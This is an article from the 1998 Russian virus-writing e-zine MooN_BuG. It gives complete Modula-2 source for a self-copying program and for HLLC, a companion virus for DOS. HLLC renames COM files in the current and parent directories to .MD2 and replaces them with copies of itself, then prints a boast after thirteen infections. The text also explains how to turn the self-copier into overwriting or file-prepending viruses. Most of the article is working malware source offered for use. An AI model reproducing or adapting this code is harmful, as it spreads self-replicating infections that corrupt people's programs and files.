[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 7, Sep 1998                                           file 009

                          HLL на Top Speed Modula-2
                                                     by RedArc

     Вот  захотелось  мне  вдруг  вспомнить  старые  добрые времена, когда еще
компьютеры  были  слабыми, а языки программирования были гибкими... То есть то
время,  когда  я осваивал классный такой язык высокого уровня, созданный самим
Виртом  (ну  зачем  Borland  его испохабил в виде своей реализации Pascal'а?).
Этот  классный язык называется Top Speed Modula-2. Разумеется, что с той поры,
когда  был  написан  компилятор  (который  я вытащил с запыленной пятидюймовой
дискеты, хранящейся у меня в той коробке, где валяется всякая дрянь, которую я
так  и  не  смог  себя  заставить  выкинуть)  прошло  уже  не  мало  времени и
сегодняшняя  Modula стала в тысячу раз круче, но по ряду обстоятельств не пишу
я  на  ней...  Дык  вот, достал я старенький компилятор от старенькой Modula и
решил  написать  чего-нибудь эдакое, чего раньше на этом языке не писал. Решил
забацать  короче  вирусок.  Для  прикола  инфицирующий  COM-программы  методом
Companion... Дык вот, получилось у меня это дело... ;)
     Мне  так кажется, что я первый этот компилятор приспособил для сего столь
интересного дела... Дык вот, что во всей этой статье самое главное ;)
     Значит,  по  порядку.  Сначала  приведу не совсем вирус, вернее совсем не
вирус. Эта программа занимается вот чем:

1) Ищет свое имя в DOS Environment
2) Генерирует случайное имя EXE-файла, еще не существующего в текущем
   каталоге
3) Копирует собственное тело в файл с этим случайно сгенерированным именем.

     Т.е.  как вы понимаете, до вируса - один шаг: вместо генерации случайного
имени  нужно  сделать  поиск  по  шаблону  и  проверку на присутствие вируса в
найденном  файле, копирование части жертвы в конец файла и запись собственного
тела  в  начало  (это  если  HLLP).  Да,  еще  нужно  сделать запуск жертвы на
исполнение.
     Если  же делать оверврайтинг, то нужно лишь заменить генерацию случайного
имени на поиск файлов по шаблону.
     Если  же  делать спутник, то нужно заменить генерацию случайного имени на
поиск файлов по шаблону и запуск жертвы на исполнение.

=== Cut ===                                                            HLL.EXE
(* (c) 1998 by RedArc // TAVC *)

MODULE HLL;

FROM FIO IMPORT File, Exists, Close, BufferOverhead, Open, Create, RdBin, WrBin;
FROM Lib IMPORT RANDOM, RANDOMIZE;
FROM Str IMPORT IntToStr, Append, Delete, Pos, Length;
FROM AsmLib IMPORT Environment, CommandType;

CONST
    MyLength = 14332;

TYPE
   STRING = ARRAY [0..255] OF CHAR;

VAR
    F, F1 : File;
    P     : ADDRESS;
    W, W1 : LONGINT;
    Nam  : STRING;
    Name : STRING;

PROCEDURE RandomName (VAR S : STRING);
VAR
   L : LONGINT;
   I, J : LONGINT;
   C : STRING;
   Res : BOOLEAN;
LABEL
    Break;
BEGIN
     REPEAT
        L := LONGINT(1 + RANDOM (8));
        S := '';
        FOR I := 1 TO L DO
            J := 0;
            WHILE (J < 65) OR (J > 90) DO
                  J := LONGINT(1 + RANDOM (90));
            END;
            C := STRING(CHR (J));
            Append (S, C);
        END;
        Append (S, '.EXE');
        IF Exists (S) = FALSE THEN  GOTO Break END;
     UNTIL FALSE;
Break:
END RandomName;

CONST
    Size = MyLength + BufferOverhead;
VAR
    Buffer : ARRAY [1..Size] OF BYTE;
    Count  : CARDINAL;
    Poi    : CommandType;
    I, J   : INTEGER;
    Ch     : CHAR;
BEGIN
      RANDOMIZE;
      FOR I := 1 TO 1000 DO
      Poi := Environment (I);
      Nam := STRING(Poi^);
      END;
      I := 3;
      Name := '';
      REPEAT
      Ch := Nam [I];
      Append (Name, Ch);
      I := I + 1;
      UNTIL Ch = CHR (0H);
      F := Open (Name);
      RandomName (Name);
      F1 := Create (Name);
      Count := RdBin (F, Buffer, MyLength);
      WrBin (F1, Buffer, MyLength);
      Close (F1);
      Close (F);
END HLL.
=== Cut ===

     А  вот теперь и сам вирус. Вирус выделяет 65535 байт памяти и запускает в
этом  участке  программу-жертву.  Поиск осуществляется в текущем каталоге и во
всех  родительских  каталогах  по  вложенности. Ищет COM-файлы с нормальными и
архивными атрибутами. Дальше проверяется для найденного файла нахождение в том
же  каталоге  файла  с  тем  же  именем,  но  с  расширением  '.MD2' и при его
отсутствии  производится  собственно  инфицирование.  Инфицирование происходит
тривиальным  порядком:  найденный  файл переименовывается в файл с расширением
'.MD2' а с его именем и его расширением '.COM' создается новый файл, в который
копируется  код  из  файла, из которого был произведен запуск вируса. При этом
ведется  счетчик  инфицированных  файлов.  Если  счетчик  по  окончанию работы
становится  равен  13, то вирус выводит рекламный текст. Вот собственно и все.
Лечится  он  простым  прибивание *.COM файлов и переименованием всех файлов из
*.MD2 в *.COM

=== Cut ===                                                           HLLC.EXE
(******************************)
(* Компаньон для COM-программ *)
(* 1998 (c) by RedArc // TAVC *)
(******************************)

MODULE HLLC;

FROM FIO IMPORT File, Exists, Close, BufferOverhead, Open, Create, RdBin, WrBin;
FROM FIO IMPORT DirEntry, GetDir, ReadFirstEntry, FileAttr, archive, Rename;
FROM FIO IMPORT ReadNextEntry, ChDir, IOcheck;
FROM IO  IMPORT WrStr;
FROM Lib IMPORT Execute;
FROM Str IMPORT Append, Delete, Pos, Length, Copy;
FROM AsmLib IMPORT Environment, CommandType, ParamCount, ParamStr;
FROM Storage IMPORT ALLOCATE, DEALLOCATE;

CONST
    MyLength = 18287;

TYPE
   STRING = ARRAY [0..255] OF CHAR;
   OneParam = ARRAY [1..80] OF CHAR;

VAR
    F, F1 : File;
    P     : ADDRESS;
    W, W1 : LONGINT;
    Nam  : STRING;
    Name : STRING;
    CouPar : CARDINAL;
    MyPar  : ARRAY [1..40] OF OneParam;
    Parm   : OneParam;
    BossName : STRING;

CONST
    Size = MyLength + BufferOverhead;
    BossSize = 65535;

VAR
    Buffer : ARRAY [1..Size] OF BYTE;
    Count  : CARDINAL;
    Poi    : CommandType;
    I, J   : INTEGER;
    Ch     : CHAR;
    Ref    : ADDRESS;
    Rep    : CARDINAL;
    HomeDir: STRING;
    CurDir : STRING;
    Entry  : DirEntry;
    CouFile: CARDINAL;
    RepB   : BOOLEAN;
LABEL
      Lab1, Lab2;
BEGIN
      CouFile := 0;
      Name := '';
      FOR I := 1 TO 1000 DO
      Poi := Environment (I);
      Nam := STRING(Poi^);
      END;
      I := 3;
      REPEAT
      Ch := Nam [I];
      Append (Name, Ch);
      I := I + 1;
      UNTIL Ch = CHR (0H);

      Parm := '';
      FOR I := 1 TO ParamCount() DO
          ParamStr (MyPar [I], I);
          Append (Parm, MyPar [I]);
          Append (Parm, ' ');
      END;
      BossName := Name;
      Delete (BossName, Length (BossName) - 4, 4);
      Append (BossName, '.MD2');
      ALLOCATE (Ref, BossSize);
      Rep := Execute (BossName, Parm, Ref, BossSize DIV 16);
      DEALLOCATE (Ref, BossSize);

      GetDir (0, HomeDir);
      FOR J := 1 TO 5 DO
          CurDir := '*.COM';
          RepB := ReadFirstEntry (CurDir, FileAttr{archive}, Entry);
          WHILE RepB DO
                Copy (BossName,Entry.Name);
                Delete (BossName, Length (BossName) - 4, 4);
                Append (BossName, '.MD2');
                IF Exists (BossName) THEN
                   GOTO Lab1
                END;
                Rename (Entry.Name, BossName);
                F1 := Create (Entry.Name);
                F  := Open (Name);
                Count := RdBin (F, Buffer, MyLength);
                WrBin (F1, Buffer, MyLength);
                Close (F);
                Close (F1);
                CouFile := CouFile + 1;
Lab1:
                RepB := ReadNextEntry (Entry);
          END;
          GetDir (0, CurDir);
          IF CurDir [0] = CHR (0) THEN
             GOTO Lab2
          END;
          REPEAT
                 Ch := CurDir [Length (CurDir)-1];
                 CurDir [Length (CurDir)-1] := CHR (0);
          UNTIL (Ch = '\') OR (Length (CurDir) = 0);
          Copy (Nam, Name);
          Delete (Nam, 3, Length (Nam) - 3);
          Append (Nam, CurDir);
          ChDir (Nam);
      END;
Lab2:
      Delete (Name, 3, Length (Name) - 3);
      Append (Name, HomeDir);
      ChDir (Name);
      IF CouFile = 13 THEN
         WrStr ('');
         WrStr ('HLLC-virus for COM-Programms');
         WrStr ('Make of Top Speed Modula-2');
         WrStr ('1998 (c) by RedArc // TAVC');
         WrStr ('Special Realize for MooN BuG issue 7');
         WrStr ('');
      END;
END HLLC.
=== Cut ===